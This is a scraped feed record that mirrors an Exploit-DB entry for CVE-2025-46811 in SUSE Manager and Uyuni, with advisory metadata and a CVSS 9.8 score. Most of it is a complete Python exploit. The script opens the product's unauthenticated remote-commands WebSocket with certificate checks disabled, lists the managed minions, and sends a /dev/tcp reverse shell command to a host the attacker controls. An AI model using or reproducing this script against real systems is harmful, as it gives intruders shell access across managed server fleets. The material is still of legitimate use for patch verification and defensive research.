{“lastseen”:”2026-04-30T07:27:59″,”description”:”Exploit Title: SUSE Manager 4.3.15 – Code Execution Date: 29.01.2026 Exploit Author: Wiktor Maj Vendor Homepage: https:\/\/www.uyuni-project.org\/ Software Link: https:\/\/github.com\/uyuni-project\/uyuni Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE…”,”published”:”2026-04-30T00:00:00″,”modified”:”2026-04-30T00:00:00″,”type”:”exploitdb”,”title”:”SUSE Manager 4.3.15 – Code Execution”,”source”:””,”references”:””,”id”:”EDB-ID:52527″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-46811″],”sourceData”:”# Exploit Title: SUSE Manager 4.3.15 – Code Execution\\r\\n# Date: 29.01.2026\\r\\n# Exploit Author: Wiktor Maj\\r\\n# Vendor Homepage: https:\/\/www.uyuni-project.org\/\\r\\n# Software Link: https:\/\/github.com\/uyuni-project\/uyuni\\r\\n# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15\\r\\n# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0\\r\\n# CVE: CVE-2025-46811\\r\\n\\r\\n# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.\\r\\n# Set up a listener session in a separate terminal.\\r\\n# After the payload is sent, switch to your listener terminal to check if a shell pops up.\\r\\n# Example:\\r\\n# python3 cve-2025-46811.py –ip 192.168.10.126 –port 443 –host-ip 192.168.10.113 –host-port 9001 –ssl\\r\\n\\r\\n\\r\\n#### PROGRAM CONSTRAINTS ####\\r\\nPAYLOAD = f\\”sh -i \\u003e\\u0026 \/dev\/tcp\/HOST_IP\/HOST_PORT 0\\u003e\\u00261\\” # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args\\r\\nCONNECTION_RETRIES = 4 # number of connection attempts\\r\\nCONNECTION_DELAY_BETWEEN_RETRIES = 15 # seconds\\r\\nWEBSOCKET_TIMEOUT = 10 # seconds\\r\\n##############################\\r\\n\\r\\nimport argparse\\r\\nimport json\\r\\nimport socket\\r\\nimport ssl\\r\\nimport sys\\r\\nimport time\\r\\nimport websocket\\r\\n\\r\\n\\r\\ndef parse_args() -\\u003e argparse.Namespace:\\r\\n parser = argparse.ArgumentParser(description=\\”Implementation of CVE-2025-46811 exploit for SUSE Manager \\u0026 Uyuni.\\”, add_help=False)\\r\\n parser.add_argument(\\”-h\\”, \\”–help\\”, action=\\”help\\”, default=argparse.SUPPRESS, help=\\”Display this help text and exit.\\”)\\r\\n parser.add_argument(\\”–ip\\”, required=True, help=\\”Victim IPv4 or hostname.\\”)\\r\\n parser.add_argument(\\”–port\\”, type=int, default=443, help=\\”Victim port (default: 443).\\”)\\r\\n parser.add_argument(\\”–host-ip\\”, required=True, help=\\”Attacker host IPv4 or hostname.\\”)\\r\\n parser.add_argument(\\”–host-port\\”, type=int, required=True, help=\\”Attacker host port.\\”)\\r\\n group = parser.add_mutually_exclusive_group()\\r\\n group.add_argument(\\”–ssl\\”, dest=\\”ssl\\”, action=\\”store_true\\”,\\r\\n help=\\”Use SSL\/TLS for the WebSocket connection (default).\\”)\\r\\n group.add_argument(\\”–no-ssl\\”, dest=\\”ssl\\”, action=\\”store_false\\”,\\r\\n help=\\”Disable SSL\/TLS and use plaintext WebSocket.\\”)\\r\\n parser.set_defaults(ssl=True)\\r\\n return parser.parse_args()\\r\\n\\r\\n\\r\\ndef resolve_target(hostname: str) -\\u003e str:\\r\\n return socket.gethostbyname(hostname)\\r\\n\\r\\n\\r\\ndef receive_preview_minions_message(websocket_connection: websocket.WebSocket) -\\u003e str:\\r\\n while True:\\r\\n try:\\r\\n message = websocket_connection.recv()\\r\\n if message:\\r\\n print(\\”Received:\\”, message)\\r\\n if isinstance(message, bytes):\\r\\n message = message.decode(\\”utf-8\\”, errors=\\”replace\\”)\\r\\n return message\\r\\n except websocket.WebSocketTimeoutException as exception:\\r\\n raise RuntimeError(\\”Failed to receive preview minions message\\”) from exception\\r\\n\\r\\n\\r\\ndef decode_preview_minions_message(message: str) -\\u003e list[str]:\\r\\n try:\\r\\n preview_output = json.loads(message)\\r\\n except json.JSONDecodeError as exception:\\r\\n raise RuntimeError(\\”Preview response is not valid JSON\\”) from exception\\r\\n if (\\r\\n isinstance(preview_output, dict)\\r\\n and isinstance(preview_output.get(\\”minions\\”), list)\\r\\n and preview_output[\\”minions\\”]\\r\\n and all(isinstance(entity, str) for entity in preview_output[\\”minions\\”])\\r\\n ):\\r\\n return preview_output[\\”minions\\”]\\r\\n raise RuntimeError(\\”Preview response expected non-empty ‘minions’ list\\”)\\r\\n\\r\\n\\r\\ndef receive_preview_minions(websocket_connection: websocket.WebSocket) -\\u003e list[str]:\\r\\n message = receive_preview_minions_message(websocket_connection)\\r\\n minions = decode_preview_minions_message(message)\\r\\n return minions\\r\\n\\r\\n\\r\\ndef select_minion(minions: list[str]) -\\u003e str:\\r\\n print(\\”Available minions:\\”)\\r\\n for minion_id, minion_name in enumerate(minions, start=1):\\r\\n print(f\\”{minion_id}) {minion_name}\\”)\\r\\n prompt = \\”Select minion number (default is ‘1’, or ‘c’ to cancel): \\”\\r\\n while True:\\r\\n choice = input(prompt).strip()\\r\\n if choice == \\”\\”:\\r\\n return minions[0]\\r\\n if choice.lower() == \\”c\\”:\\r\\n print(\\”No minion selected. Exiting.\\”)\\r\\n sys.exit(0)\\r\\n if choice.isdigit():\\r\\n index = int(choice)\\r\\n if 1 \\u003c= index \\u003c= len(minions):\\r\\n return minions[index – 1]\\r\\n print(\\”Invalid selection.\\”)\\r\\n\\r\\n\\r\\ndef connect_to_websocket(target_ip: str,\\r\\n port: int,\\r\\n use_ssl: bool,\\r\\n sslopt: dict,\\r\\n ) -\\u003e websocket.WebSocket:\\r\\n scheme = \\”wss\\” if use_ssl else \\”ws\\”\\r\\n try:\\r\\n return websocket.create_connection(\\r\\n f\\”{scheme}:\/\/{target_ip}:{port}\/rhn\/websocket\/minion\/remote-commands\\”,\\r\\n timeout=WEBSOCKET_TIMEOUT,\\r\\n sslopt=sslopt,\\r\\n )\\r\\n except ssl.SSLError as exception:\\r\\n if \\”WRONG_VERSION_NUMBER\\” in str(exception):\\r\\n raise RuntimeError(\\”Websocket seems to be unsecured, try with –no-ssl\\”) from exception\\r\\n raise\\r\\n except websocket.WebSocketBadStatusException as exception:\\r\\n if exception.status_code == 400:\\r\\n raise RuntimeError(\\”Websocket seems to be secured, try with –ssl\\”) from exception\\r\\n raise\\r\\n except TimeoutError as exception:\\r\\n raise RuntimeError(\\”Websocket is likely under firewall\\”) from exception\\r\\n\\r\\n\\r\\ndef get_minions(target_ip: str,\\r\\n port: int,\\r\\n use_ssl: bool,\\r\\n ) -\\u003e tuple[websocket.WebSocket, list[str]]:\\r\\n sslopt = {\\”cert_reqs\\”: ssl.CERT_NONE, \\”check_hostname\\”: False}\\r\\n for attempt in range(1, CONNECTION_RETRIES + 1):\\r\\n websocket_connection = None\\r\\n try:\\r\\n websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)\\r\\n websocket_connection.send(json.dumps({\\”preview\\”: True, \\”target\\”: \\”*\\”}))\\r\\n minions = receive_preview_minions(websocket_connection)\\r\\n return websocket_connection, minions\\r\\n except (\\r\\n websocket.WebSocketTimeoutException,\\r\\n websocket.WebSocketConnectionClosedException,\\r\\n ):\\r\\n if websocket_connection is not None:\\r\\n websocket_connection.close()\\r\\n if attempt == CONNECTION_RETRIES:\\r\\n break\\r\\n time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)\\r\\n raise RuntimeError(\\”Target websocket is not vulnerable or not reachable\\”)\\r\\n\\r\\n\\r\\ndef send_payload(websocket_connection: websocket.WebSocket, target: str) -\\u003e None:\\r\\n payload = PAYLOAD.replace(\\”HOST_IP\\”, args.host_ip).replace(\\”HOST_PORT\\”, str(args.host_port))\\r\\n websocket_connection.send(json.dumps({\\”preview\\”: False, \\”target\\”: target, \\”command\\”: payload}))\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n args = parse_args()\\r\\n websocket_connection = None\\r\\n try:\\r\\n websocket_connection, minions = get_minions(\\r\\n target_ip=resolve_target(args.ip),\\r\\n port=args.port,\\r\\n use_ssl=args.ssl,\\r\\n )\\r\\n selected_minion = select_minion(minions)\\r\\n send_payload(websocket_connection, selected_minion)\\r\\n print(\\”Payload sent, closing.\\”)\\r\\n finally:\\r\\n if websocket_connection is not None:\\r\\n websocket_connection.close()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52527″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52527″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-30T07:27:59″,”description”:”Exploit Title: SUSE Manager 4.3.15 – Code Execution Date: 29.01.2026 Exploit Author: Wiktor Maj Vendor Homepage: https:\/\/www.uyuni-project.org\/ Software Link: https:\/\/github.com\/uyuni-project\/uyuni Version: Uyuni 2025.05, SUSE Manager…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-50348","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n